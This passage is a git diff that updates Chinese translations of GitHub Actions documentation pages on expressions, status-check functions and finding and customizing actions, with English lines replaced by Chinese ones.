-To run a workflow job conditionally based on the result of the previous workflow run, you can use the [`jobs.<job_id>.if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif) or [`jobs.<job_id>.steps[*].if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif) conditional combined with the `conclusion` of the previous run. For example:
+要根据上次工作流程运行的结果有条件地运行工作流程作业，您可以使用 [`jobs.<job_id>.if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif) 或 [`jobs.<job_id>.steps[*].if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif) 有条件地结合上次运行的`结论`。 例如：
 
 ```yaml
 on:
@@ -858,8 +858,8 @@ jobs:
       ...
 ```
 
-## Triggering new workflows using a personal access token
+## 使用个人访问令牌触发新工作流程
 
-{% data reusables.github-actions.actions-do-not-trigger-workflows %} For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
+{% data reusables.github-actions.actions-do-not-trigger-workflows %} 更多信息请参阅“[使用 GITHUB_TOKEN 验证身份](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)”。
 
-If you would like to trigger a workflow from a workflow run, you can trigger the event using a personal access token. You'll need to create a personal access token and store it as a secret. To minimize your {% data variables.product.prodname_actions %} usage costs, ensure that you don't create recursive or unintended workflow runs. For more information on storing a personal access token as a secret, see "[Creating and storing encrypted secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)."
+如果要从工作流程运行触发工作流程，您可以使用个人访问令牌触发事件。 您需要创建个人访问令牌并将其存储为密码。 为了最大限度地降低 {% data variables.product.prodname_actions %} 使用成本，请确保不要创建递归或意外的工作流程。 有关存储个人访问令牌的更多信息，请参阅“[创建和存储加密密码](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)”。
diff --git a/translations/zh-CN/content/actions/learn-github-actions/expressions.md b/translations/zh-CN/content/actions/learn-github-actions/expressions.md
index 2c8cd63dc3..80de5cb538 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/expressions.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/expressions.md
@@ -15,21 +15,21 @@ miniTocMaxHeadingLevel: 3
 
 ## About expressions
 
-You can use expressions to programmatically set variables in workflow files and access contexts. An expression can be any combination of literal values, references to a context, or functions. You can combine literals, context references, and functions using operators. For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)."
+您可以使用表达式程序化设置工作流程文件中的变量和访问上下文。 表达式可以是文字值、上下文引用或函数的任意组合。 您可以使用运算符组合文字、上下文引用和函数。 For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)."
 
-Expressions are commonly used with the conditional `if` keyword in a workflow file to determine whether a step should run. When an `if` conditional is `true`, the step will run.
+表达式通常在工作流程文件中与条件性 `if` 关键词一起用来确定步骤是否应该运行。 当 `if` 条件为 `true` 时，步骤将会运行。
 
-You need to use specific syntax to tell {% data variables.product.prodname_dotcom %} to evaluate an expression rather than treat it as a string.
+您需要使用特定语法指示 {% data variables.product.prodname_dotcom %} 对表达式求值，而不是将其视为字符串。
 
 {% raw %}
 `${{ <expression> }}`
 {% endraw %}
 
-{% data reusables.github-actions.expression-syntax-if %} For more information about `if` conditionals, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)."
+{% data reusables.github-actions.expression-syntax-if %}有关 `if` 条件的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)”。
 
 {% data reusables.github-actions.context-injection-warning %}
 
-#### Example expression in an `if` conditional
+#### `if` 条件的示例表达式
 
 ```yaml
 steps:
@@ -37,7 +37,7 @@ steps:
     if: {% raw %}${{ <expression> }}{% endraw %}
 ```
 
-#### Example setting an environment variable
+#### 设置环境变量的示例
 
 {% raw %}
 ```yaml
@@ -46,18 +46,18 @@ env:
 ```
 {% endraw %}
 
-## Literals
+## 文字
 
-As part of an expression, you can use `boolean`, `null`, `number`, or `string` data types.
+作为表达式的一部分，您可以使用 `boolean`、`null`、`number` 或 `string` 数据类型。
 
-| Data type | Literal value |
-|-----------|---------------|
-| `boolean` | `true` or `false` |
-| `null`    | `null` |
-| `number`  | Any number format supported by JSON. |
-| `string`  | You must use single quotes. Escape literal single-quotes with a single quote. |
+| 数据类型     | 文字值                    |
+| -------- | ---------------------- |
+| `布尔值`    | `true` 或 `false`       |
+| `null`   | `null`                 |
+| `number` | JSON 支持的任何数字格式。        |
+| `字符串`    | 必须使用单引号。 使用单引号逸出文字单引号。 |
 
-#### Example
+#### 示例
 
 {% raw %}
 ```yaml
@@ -73,99 +73,99 @@ env:
 ```
 {% endraw %}
 
-## Operators
+## 运算符
 
-| Operator    | Description |
-| ---         | ---         |
-| `( )`       | Logical grouping |
-| `[ ]`       | Index
-| `.`         | Property dereference |
-| `!`         | Not |
-| `<`         | Less than |
-| `<=`        | Less than or equal |
-| `>`         | Greater than |
-| `>=`        | Greater than or equal |
-| `==`        | Equal |
-| `!=`        | Not equal |
-| `&&`        | And |
-|  <code>\|\|</code> | Or |
+| 运算符                       | 描述     |
+| ------------------------- | ------ |
+| `( )`                     | 逻辑分组   |
+| `[ ]`                     | 索引     |
+| `.`                       | 属性解除参考 |
+| `!`                       | 非      |
+| `<`                    | 小于     |
+| `<=`                   | 小于或等于  |
+| `>`                    | 大于     |
+| `>=`                   | 大于或等于  |
+| `==`                      | 等于     |
+| `!=`                      | 不等于    |
+| `&&`              | 和      |
+| <code>\|\|</code> | 或      |
 
-{% data variables.product.prodname_dotcom %} performs loose equality comparisons.
+{% data variables.product.prodname_dotcom %} 进行宽松的等式比较。
 
-* If the types do not match, {% data variables.product.prodname_dotcom %} coerces the type to a number. {% data variables.product.prodname_dotcom %} casts data types to a number using these conversions:
+* 如果类型不匹配，{% data variables.product.prodname_dotcom %} 强制转换类型为数字。 {% data variables.product.prodname_dotcom %} 使用这些转换将数据类型转换为数字：
 
-  | Type    | Result |
-  | ---     | ---    |
-  | Null    | `0` |
-  | Boolean | `true` returns `1` <br /> `false` returns `0` |
-  | String  | Parsed from any legal JSON number format, otherwise `NaN`. <br /> Note: empty string returns `0`. |
-  | Array   | `NaN` |
-  | Object  | `NaN` |
-* A comparison of one `NaN` to another `NaN` does not result in `true`. For more information, see the "[NaN Mozilla docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)."
-* {% data variables.product.prodname_dotcom %} ignores case when comparing strings.
-* Objects and arrays are only considered equal when they are the same instance.
+  | 类型   | 结果                                                      |
+  | ---- | ------------------------------------------------------- |
+  | Null | `0`                                                     |
+  | 布尔值  | `true` 返回 `1` <br /> `false` 返回 `0`               |
+  | 字符串  | 从任何合法 JSON 数字格式剖析，否则为 `NaN`。 <br /> 注：空字符串返回 `0`。 |
+  | 数组   | `NaN`                                                   |
+  | 对象   | `NaN`                                                   |
+* 一个 `NaN` 与另一个 `NaN` 的比较不会产生 `true`。 更多信息请参阅“[NaN Mozilla 文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)”。
+* {% data variables.product.prodname_dotcom %} 在比较字符串时忽略大小写。
+* 对象和数组仅在为同一实例时才视为相等。
 
-## Functions
+## 函数
 
-{% data variables.product.prodname_dotcom %} offers a set of built-in functions that you can use in expressions. Some functions cast values to a string to perform comparisons. {% data variables.product.prodname_dotcom %} casts data types to a string using these conversions:
+{% data variables.product.prodname_dotcom %} 提供一组内置的函数，可用于表达式。 有些函数抛出值到字符串以进行比较。 {% data variables.product.prodname_dotcom %} 使用这些转换将数据类型转换为字符串：
 
-| Type    | Result |
-| ---     | ---    |
-| Null    | `''` |
-| Boolean | `'true'` or `'false'` |
-| Number  | Decimal format, exponential for large numbers |
-| Array   | Arrays are not converted to a string |
-| Object  | Objects are not converted to a string |
+| 类型   | 结果                   |
+| ---- | -------------------- |
+| Null | `''`                 |
+| 布尔值  | `'true'` 或 `'false'` |
+| 数字   | 十进制格式，对大数字使用指数       |
+| 数组   | 数组不转换为字符串            |
+| 对象   | 对象不转换为字符串            |
 
 ### contains
 
 `contains( search, item )`
 
-Returns `true` if `search` contains `item`. If `search` is an array, this function returns `true` if the `item` is an element in the array. If `search` is a string, this function returns `true` if the `item` is a substring of `search`. This function is not case sensitive. Casts values to a string.
+如果 `search` 包含 `item`，则返回 `true`。 如果 `search` 为数组，此函数在 `item` 为数组中的元素时返回 `true`。 如果 `search` 为字符串，此函数在 `item` 为 `search` 的子字符串时返回 `true`。 此函数不区分大小写。 抛出值到字符串。
 
-#### Example using an array
+#### 使用数组的示例
 
 `contains(github.event.issue.labels.*.name, 'bug')`
 
-#### Example using a string
+#### 使用字符串的示例
 
-`contains('Hello world', 'llo')` returns `true`
+`contains('Hello world', 'llo')` 返回 `true`
 
 ### startsWith
 
 `startsWith( searchString, searchValue )`
 
-Returns `true` when `searchString` starts with `searchValue`. This function is not case sensitive. Casts values to a string.
+当 `searchString` 以 `searchValue` 开头时返回 `true`。 此函数不区分大小写。 抛出值到字符串。
 
-#### Example
+#### 示例
 
-`startsWith('Hello world', 'He')` returns `true`
+`startsWith('Hello world', 'He')` 返回 `true`
 
 ### endsWith
 
 `endsWith( searchString, searchValue )`
 
-Returns `true` if `searchString` ends with `searchValue`. This function is not case sensitive. Casts values to a string.
+当 `searchString` 以 `searchValue` 结尾时返回 `true`。 此函数不区分大小写。 抛出值到字符串。
 
-#### Example
+#### 示例
 
-`endsWith('Hello world', 'ld')` returns `true`
+`endsWith('Hello world', 'ld')` 返回 `true`
 
 ### format
 
 `format( string, replaceValue0, replaceValue1, ..., replaceValueN)`
 
-Replaces values in the `string`, with the variable `replaceValueN`. Variables in the `string` are specified using the `{N}` syntax, where `N` is an integer. You must specify at least one `replaceValue` and `string`. There is no maximum for the number of variables (`replaceValueN`) you can use. Escape curly braces using double braces.
+将 `string` 中的值替换为变量 `replaceValueN`。 `string` 中的变量使用 `{N}` 语法指定，其中 `N` 为整数。 必须指定至少一个 `replaceValue` 和 `string`。 可以使用变量 (`replaceValueN`) 数没有上限。 使用双小括号逸出大括号。
 
-#### Example
+#### 示例
 
-Returns 'Hello Mona the Octocat'
+返回 'Hello Mona the Octocat'
 
 `format('Hello {0} {1} {2}', 'Mona', 'the', 'Octocat')`
 
-#### Example escaping braces
+#### 逸出括号示例
 
-Returns '{Hello Mona the Octocat!}'
+返回 '{Hello Mona the Octocat!}'
 
 {% raw %}
 ```js
@@ -177,31 +177,31 @@ format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat')
 
 `join( array, optionalSeparator )`
 
-The value for `array` can be an array or a string. All values in `array` are concatenated into a string. If you provide `optionalSeparator`, it is inserted between the concatenated values. Otherwise, the default separator `,` is used. Casts values to a string.
+`array` 的值可以是数组或字符串。 `array` 中的所有值强制转换为字符串。 如果您提供 `optionalSeparator`，它将被插入到串联的值之间。 否则使用默认分隔符 `,`。 抛出值到字符串。
 
-#### Example
+#### 示例
 
-`join(github.event.issue.labels.*.name, ', ')` may return 'bug, help wanted'
+`join(github.event.issue.labels.*.name, ', ')` 可能返回 'bug, help wanted'
 
 ### toJSON
 
 `toJSON(value)`
 
-Returns a pretty-print JSON representation of `value`. You can use this function to debug the information provided in contexts.
+对 `value` 返回适合打印的 JSON 表示形式。 您可以使用此函数调试上下文中提供的信息。
 
-#### Example
+#### 示例
 
-`toJSON(job)` might return `{ "status": "Success" }`
+`toJSON(job)` 可能返回 `{ "status": "Success" }`
 
 ### fromJSON
 
 `fromJSON(value)`
 
-Returns a JSON object or JSON data type for `value`. You can use this function to provide a JSON object as an evaluated expression or to convert environment variables from a string.
+返回 `value` 的 JSON 对象或 JSON 数据类型。 您可以使用此函数来提供 JSON 对象作为评估表达式或从字符串转换环境变量。
 
-#### Example returning a JSON object
+#### 返回 JSON 对象的示例
 
-This workflow sets a JSON matrix in one job, and passes it to the next job using an output and `fromJSON`.
+此工作流程在一个作业中设置 JSON矩阵，并使用输出和 `fromJSON` 将其传递到下一个作业。
 
 {% raw %}
 ```yaml
@@ -225,9 +225,9 @@ jobs:
 ```
 {% endraw %}
 
-#### Example returning a JSON data type
+#### 返回 JSON 数据类型的示例
 
-This workflow uses `fromJSON` to convert environment variables from a string to a Boolean or integer.
+此工作流程使用 `fromJSON` 将环境变量从字符串转换为布尔值或整数。
 
 {% raw %}
 ```yaml
@@ -250,31 +250,31 @@ jobs:
 
 `hashFiles(path)`
 
-Returns a single hash for the set of files that matches the `path` pattern. You can provide a single `path` pattern or multiple `path` patterns separated by commas. The `path` is relative to the `GITHUB_WORKSPACE` directory and can only include files inside of the `GITHUB_WORKSPACE`. This function calculates an individual SHA-256 hash for each matched file, and then uses those hashes to calculate a final SHA-256 hash for the set of files. For more information about SHA-256, see "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)."
+返回匹配 `path` 模式的文件集的单个哈希值。 您可以提供单一 `path` 模式，或以逗号分隔的多个 `path` 模式。 `path` 相对于 `GITHUB_WORKSPACE` 目录，只能包括 `GITHUB_WORKSPACE` 中的文件。 此函数为每个匹配的文件计算单独的 SHA-256 哈希， 然后使用这些哈希来计算文件集的最终 SHA-256 哈希。 有关 SHA-256 的更多信息，请参阅“[SHA-2](https://en.wikipedia.org/wiki/SHA-2)”。
 
-You can use pattern matching characters to match file names. Pattern matching is case-insensitive on Windows. For more information about supported pattern matching characters, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)."
+您可以使用模式匹配字符来匹配文件名。 模式匹配在 Windows 上不区分大小写。 有关支持的模式匹配字符的更多信息，请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)”。
 
-#### Example with a single pattern
+#### 单一模式示例
 
-Matches any `package-lock.json` file in the repository.
+匹配仓库中的任何 `package-lock.json` 文件。
 
 `hashFiles('**/package-lock.json')`
 
-#### Example with multiple patterns
+#### 多个模式示例
 
-Creates a hash for any `package-lock.json` and `Gemfile.lock` files in the repository.
+为仓库中的任何 `package-lock.json` 和 `Gemfile.lock` 文件创建哈希。
 
 `hashFiles('**/package-lock.json', '**/Gemfile.lock')`
 
-## Job status check functions
+## 状态检查函数
 
-You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)."
+您可以使用以下状态检查函数作为 `if` 条件中的表达式。 除非您包含其中一个函数，否则 `success()` 的默认状态检查将会应用。 For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)" and "[Metadata syntax for GitHub Composite Actions](/actions/creating-actions/metadata-syntax-for-github-actions/#runsstepsif)".
 
 ### success
 
-Returns `true` when none of the previous steps have failed or been canceled.
+当前面的步骤没有失败或取消时返回 `true`。
 
-#### Example
+#### 示例
 
 ```yaml
 steps:
@@ -285,9 +285,9 @@ steps:
 
 ### always
 
-Causes the step to always execute, and returns `true`, even when canceled. A job or step will not run when a critical failure prevents the task from running. For example, if getting sources failed.
+导致该步骤总是执行，并返回 `true`，即使取消也一样。 作业或步骤在重大故障阻止任务运行时不会运行。 例如，如果获取来源失败。
 
-#### Example
+#### 示例
 
 ```yaml
 if: {% raw %}${{ always() }}{% endraw %}
@@ -295,9 +295,9 @@ if: {% raw %}${{ always() }}{% endraw %}
 
 ### cancelled
 
-Returns `true` if the workflow was canceled.
+在工作流程取消时返回 `true`。
 
-#### Example
+#### 示例
 
 ```yaml
 if: {% raw %}${{ cancelled() }}{% endraw %}
@@ -305,9 +305,9 @@ if: {% raw %}${{ cancelled() }}{% endraw %}
 
 ### failure
 
-Returns `true` when any previous step of a job fails. If you have a chain of dependent jobs, `failure()` returns `true` if any ancestor job fails.
+在作业的任何之前一步失败时返回 `true`。 If you have a chain of dependent jobs, `failure()` returns `true` if any ancestor job fails.
 
-#### Example
+#### 示例
 
 ```yaml
 steps:
@@ -316,11 +316,37 @@ steps:
     if: {% raw %}${{ failure() }}{% endraw %}
 ```
 
-## Object filters
+### Evaluate Status Explicitly
 
-You can use the `*` syntax to apply a filter and select matching items in a collection.
+Instead of using one of the methods above, you can evaluate the status of the job or composite action that is executing the step directly:
 
-For example, consider an array of objects named `fruits`.
+#### Example for workflow step
+
+```yaml
+steps:
+  ...
+  - name: The job has failed
+    if: {% raw %}${{ job.status == 'failure' }}{% endraw %}
+```
+
+This is the same as using `if: failure()` in a job step.
+
+#### Example for composite action step
+
+```yaml
+steps:
+  ...
+  - name: The composite action has failed
+    if: {% raw %}${{ github.action_status == 'failure' }}{% endraw %}
+```
+
+This is the same as using `if: failure()` in a composite action step.
+
+## 对象过滤器
+
+可以使用 `*` 语法应用过滤条件并从集合中选择匹配的项目。
+
+例如，考虑名为 `fruits` 的对象数组。
 
 ```json
 [
@@ -330,4 +356,4 @@ For example, consider an array of objects named `fruits`.
 ]
 ```
 
-The filter `fruits.*.name` returns the array `[ "apple", "orange", "pear" ]`
+过滤条件 `fruits.*.name` 返回数组 `[ "apple", "orange", "pear" ]`
diff --git a/translations/zh-CN/content/actions/learn-github-actions/finding-and-customizing-actions.md b/translations/zh-CN/content/actions/learn-github-actions/finding-and-customizing-actions.md
index 5b71215cd5..d8c31eb333 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/finding-and-customizing-actions.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/finding-and-customizing-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Finding and customizing actions
-shortTitle: Finding and customizing actions
-intro: 'Actions are the building blocks that power your workflow. A workflow can contain actions created by the community, or you can create your own actions directly within your application''s repository. This guide will show you how to discover, use, and customize actions.'
+title: 查找和自定义操作
+shortTitle: 查找和自定义操作
+intro: 操作是支持工作流程的构建块。 工作流程可以包含社区创建的操作，您也可以直接在应用程序的仓库中创建您自己的操作。 本指南说明如何发现、使用和自定义操作。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-github-marketplace-actions
   - /actions/automating-your-workflow-with-github-actions/using-actions-from-github-marketplace-in-your-workflow
@@ -20,92 +20,89 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概览
 
-The actions you use in your workflow can be defined in:
+在工作流程中使用的操作可以定义于：
 
-- A public repository
-- The same repository where your workflow file references the action
-- A published Docker container image on Docker Hub
+- 公共仓库
+- 工作流程文件引用操作的同一仓库
+- Docker Hub 上发布的 Docker 容器图像
 
-{% data variables.product.prodname_marketplace %} is a central location for you to find actions created by the {% data variables.product.prodname_dotcom %} community.{% ifversion fpt or ghec %} [{% data variables.product.prodname_marketplace %} page](https://github.com/marketplace/actions/) enables you to filter for actions by category. {% endif %}
+{% data variables.product.prodname_marketplace %} 是您查找 {% data variables.product.prodname_dotcom %} 社区创建的操作的中心位置。{% ifversion fpt or ghec %} [{% data variables.product.prodname_marketplace %} 页面](https://github.com/marketplace/actions/)可用于按类别筛选操作。 {% endif %}
 
 {% data reusables.actions.enterprise-marketplace-actions %}
 
 {% ifversion fpt or ghec %}
 
-## Browsing Marketplace actions in the workflow editor
+## 在工作流程编辑器中浏览 Marketplace 操作
 
-You can search and browse actions directly in your repository's workflow editor. From the sidebar, you can search for a specific action, view featured actions, and browse featured categories. You can also view the number of stars an action has received from the {% data variables.product.prodname_dotcom %} community.
+您可以直接在仓库的工作流程编辑器中搜索和浏览操作。 从边栏可以搜索特定的操作、查看特色操作和浏览特色类别。 您也可以查看操作从 {% data variables.product.prodname_dotcom %} 社区获得的星标数。
 
-1. In your repository, browse to the workflow file you want to edit.
-1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}.
-   ![Edit workflow file button](/assets/images/help/repository/actions-edit-workflow-file.png)
-1. To the right of the editor, use the {% data variables.product.prodname_marketplace %} sidebar to browse actions. Actions with the {% octicon "verified" aria-label="The verified badge" %} badge indicate {% data variables.product.prodname_dotcom %} has verified the creator of the action as a partner organization.
-   ![Marketplace workflow sidebar](/assets/images/help/repository/actions-marketplace-sidebar.png)
+1. 在仓库中，浏览至要编辑的工作流程文件。
+1. 要打开工作流程编辑器，在文件视图右上角单击 {% octicon "pencil" aria-label="The edit icon" %}。 ![编辑工作流程文件按钮](/assets/images/help/repository/actions-edit-workflow-file.png)
+1. 在编辑器右侧，使用 {% data variables.product.prodname_marketplace %} 边栏浏览操作。 带有 {% octicon "verified" aria-label="The verified badge" %} 徽章的操作表示 {% data variables.product.prodname_dotcom %} 已验证操作的创建者为合作伙伴组织。 ![Marketplace 工作流程边栏](/assets/images/help/repository/actions-marketplace-sidebar.png)
 
-## Adding an action to your workflow
+## 添加操作到工作流程
 
-An action's listing page includes the action's version and the workflow syntax required to use the action. To keep your workflow stable even when updates are made to an action, you can reference the version of the action to use by specifying the Git or Docker tag number in your workflow file.
+操作的列表页包括操作的版本以及使用操作所需的工作流程语法。 为使工作流程在操作有更新时也保持稳定，您可以在工作流程文件中指定 Git 或 Docker 标记号以引用所用操作的版本。
 
-1. Navigate to the action you want to use in your workflow.
-1. Under "Installation", click {% octicon "clippy" aria-label="The edit icon" %} to copy the workflow syntax.
-   ![View action listing](/assets/images/help/repository/actions-sidebar-detailed-view.png)
-1. Paste the syntax as a new step in your workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)."
-1. If the action requires you to provide inputs, set them in your workflow. For information on inputs an action might require, see "[Using inputs and outputs with an action](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)."
+1. 导航到要在工作流程中使用的操作。
+1. 在“Installation（安装）”下，单击 {% octicon "clippy" aria-label="The edit icon" %} 复制工作流程语法。 ![查看操作列表](/assets/images/help/repository/actions-sidebar-detailed-view.png)
+1. 将语法粘贴为工作流程中的新步骤。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)”。
+1. 如果操作要求您提供输入，请将其设置在工作流程中。 有关操作可能需要的输入的更多信息，请参阅“[对操作使用输入和输出](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)”。
 
 {% data reusables.dependabot.version-updates-for-actions %}
 
 {% endif %}
 
-## Using release management for your custom actions
+## 对自定义操作使用发行版管理
 
-The creators of a community action have the option to use tags, branches, or SHA values to manage releases of the action. Similar to any dependency, you should indicate the version of the action you'd like to use based on your comfort with automatically accepting updates to the action.
+社区操作的创建者可以选择使用标记、分支或 SHA 值来管理操作的版本。 与任何依赖项类似，您应该根据自动接受操作更新的舒适程度来指示要使用的操作版本。
 
-You will designate the version of the action in your workflow file. Check the action's documentation for information on their approach to release management, and to see which tag, branch, or SHA value to use.
+您将在工作流程文件中指定操作的版本。 检查操作的文档，了解其发行版管理方法的信息，并查看要使用的标记、分支或 SHA 值。
 
 {% note %}
 
-**Note:** We recommend that you use a SHA value when using third-party actions. For more information, see [Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-third-party-actions)
+**注意：** 我们建议您在使用第三方操作时使用 SHA 值。 更多信息请参阅“[GitHub Actions 的安全性增强](/actions/learn-github-actions/security-hardening-for-github-actions#using-third-party-actions)”。
 
 {% endnote %}
 
-### Using tags
+### 使用标记
 
-Tags are useful for letting you decide when to switch between major and minor versions, but these are more ephemeral and can be moved or deleted by the maintainer. This example demonstrates how to target an action that's been tagged as `v1.0.1`:
+标记可用于让您决定何时在主要版本和次要版本之间切换，但这只是临时的，可能被维护员移动或删除。 此示例演示如何定位已标记为 `v1.0.1` 的操作：
 
 ```yaml
 steps:
   - uses: actions/javascript-action@v1.0.1
 ```
 
-### Using SHAs
+### 使用 SHA
 
-If you need more reliable versioning, you should use the SHA value associated with the version of the action. SHAs are immutable and therefore more reliable than tags or branches. However this approach means you will not automatically receive updates for an action, including important bug fixes and security updates. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}You must use a commit's full SHA value, and not an abbreviated value. {% endif %}This example targets an action's SHA:
+如果需要更可靠的版本控制，应使用与操作版本关联的 SHA 值。 SHA 是不可变的，因此比标记或分支更可靠。 但是，此方法意味着您不会自动接收操作的更新，包括重要的 Bug 修复和安全更新。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}您必须使用提交的完整 SHA 值，而不是缩写值。 {% endif %}此示例针对操作的 SHA：
 
 ```yaml
 steps:
   - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89
 ```
 
-### Using branches
+### 使用分支
 
-Specifying a target branch for the action means it will always run the version currently on that branch. This approach can create problems if an update to the branch includes breaking changes. This example targets a branch named `@main`:
+为操作指定目标分支意味着它将始终在该分支上运行当前的版本。 如果对分支的更新包含重大更改，此方法可能会造成问题。 此示例针对名为 `@main`的分支：
 
 ```yaml
 steps:
   - uses: actions/javascript-action@main
 ```
 
-For more information, see "[Using release management for actions](/actions/creating-actions/about-actions#using-release-management-for-actions)."
+更多信息请参阅“[对操作使用发行版管理](/actions/creating-actions/about-actions#using-release-management-for-actions)”。
 
-## Using inputs and outputs with an action
+## 对操作使用输入和输出
 
-An action often accepts or requires inputs and generates outputs that you can use. For example, an action might require you to specify a path to a file, the name of a label, or other data it will use as part of the action processing.
+操作通常接受或需要输入并生成可以使用的输出。 例如，操作可能要求您指定文件的路径、标签的名称或它将用作操作处理一部分的其他数据。
 
-To see the inputs and outputs of an action, check the `action.yml` or `action.yaml` in the root directory of the repository.
+要查看操作的输入和输出，请检查仓库根目录中的 `action.yml` 或 `action.yaml`。
 
-In this example `action.yml`, the `inputs` keyword defines a required input called `file-path`, and includes a default value that will be used if none is specified. The `outputs` keyword defines an output called `results-file`, which tells you where to locate the results.
+在此示例 `.yml` 中， `inputs` 关键字定义名为 `file-path` 的必需输入，并且包括在未指定任何输入时使用的默认值。 `outputs` 关键字定义名为 `results-file` 的输出，告诉您到何处查找结果。
 
 ```yaml
 name: "Example"
@@ -122,16 +119,17 @@ outputs:
 
 {% ifversion ghae %}
 
-## Using the actions included with {% data variables.product.prodname_ghe_managed %}
+## 使用 {% data variables.product.prodname_ghe_managed %} 随附的操作
+默认情况下，您可以使用大多数官方
 
-By default, you can use most of the official {% data variables.product.prodname_dotcom %}-authored actions in {% data variables.product.prodname_ghe_managed %}. For more information, see "[Using actions in {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-actions-in-github-ae)."
+{% data variables.product.prodname_dotcom %} 授权的操作（在 {% data variables.product.prodname_ghe_managed %} 中）。 更多信息请参阅“[使用 {% data variables.product.prodname_ghe_managed %} 中的操作](/admin/github-actions/using-actions-in-github-ae)”。
 {% endif %}
 
-## Referencing an action in the same repository where a workflow file uses the action
+## 在工作流程文件使用操作的同一仓库中引用操作
 
-If an action is defined in the same repository where your workflow file uses the action, you can reference the action with either the ‌`{owner}/{repo}@{ref}` or `./path/to/dir` syntax in your workflow file.
+如果操作在工作流程文件使用该操作的同一仓库中定义，您可以在工作流程文件中通过 ‌`{owner}/{repo}@{ref}` 或 `./path/to/dir` 语法引用操作。
 
-Example repository file structure:
+示例仓库文件结构：
 
 ```
 |-- hello-world (repository)
@@ -143,7 +141,7 @@ Example repository file structure:
 |               └── action.yml
 ```
 
-Example workflow file:
+示例工作流程文件：
 
 ```yaml
 jobs:
@@ -156,11 +154,11 @@ jobs:
       - uses: ./.github/actions/hello-world-action
 ```
 
-The `action.yml` file is used to provide metadata for the action. Learn about the content of this file in "[Metadata syntax for GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions)"
+`action.yml` 文件用于提供操作的元数据。 要了解此文件的内容，请参阅“[GitHub Actions 的元数据语法](/actions/creating-actions/metadata-syntax-for-github-actions)”
 
-## Referencing a container on Docker Hub
+## 引用 Docker Hub 上的容器
 
-If an action is defined in a published Docker container image on Docker Hub, you must reference the action with the `docker://{image}:{tag}` syntax in your workflow file. To protect your code and data, we strongly recommend you verify the integrity of the Docker container image from Docker Hub before using it in your workflow.
+如果操作在 Docker Hub 上发布的 Docker 容器图像中定义，您必须在工作流程文件中通过 `docker://{image}:{tag}` 语法引用操作。 为保护代码和数据，强烈建议先验证 Docker Hub 中 Docker 容器图像的完整性后再将其用于工作流程。
 
 ```yaml
 jobs:
@@ -170,8 +168,8 @@ jobs:
         uses: docker://alpine:3.8
 ```
 
-For some examples of Docker actions, see the [Docker-image.yml workflow](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml) and "[Creating a Docker container action](/articles/creating-a-docker-container-action)."
+有关 Docker 操作的部分示例，请参阅 [Docker-image.yml 工作流程](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml)和“[创建 Docker 容器操作](/articles/creating-a-docker-container-action)”。
 
-## Next steps
+## 后续步骤
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Essential features of {% data variables.product.prodname_actions %}](/actions/learn-github-actions/essential-features-of-github-actions)."
+要继续了解 {% data variables.product.prodname_actions %}，请参阅“[{% data variables.product.prodname_actions %} 的基本功能](/actions/learn-github-actions/essential-features-of-github-actions)”。
diff --git a/translations/zh-CN/content/actions/learn-github-actions/index.md b/translations/zh-CN/content/actions/learn-github-actions/index.md
index e45322bcff..56fb5b950e 100644
--- a/translations/zh-CN/content/actions/learn-github-actions/index.md
+++ b/translations/zh-CN/content/actions/learn-github-actions/index.md
@@ -1,7 +1,7 @@
 ---
-title: Learn GitHub Actions
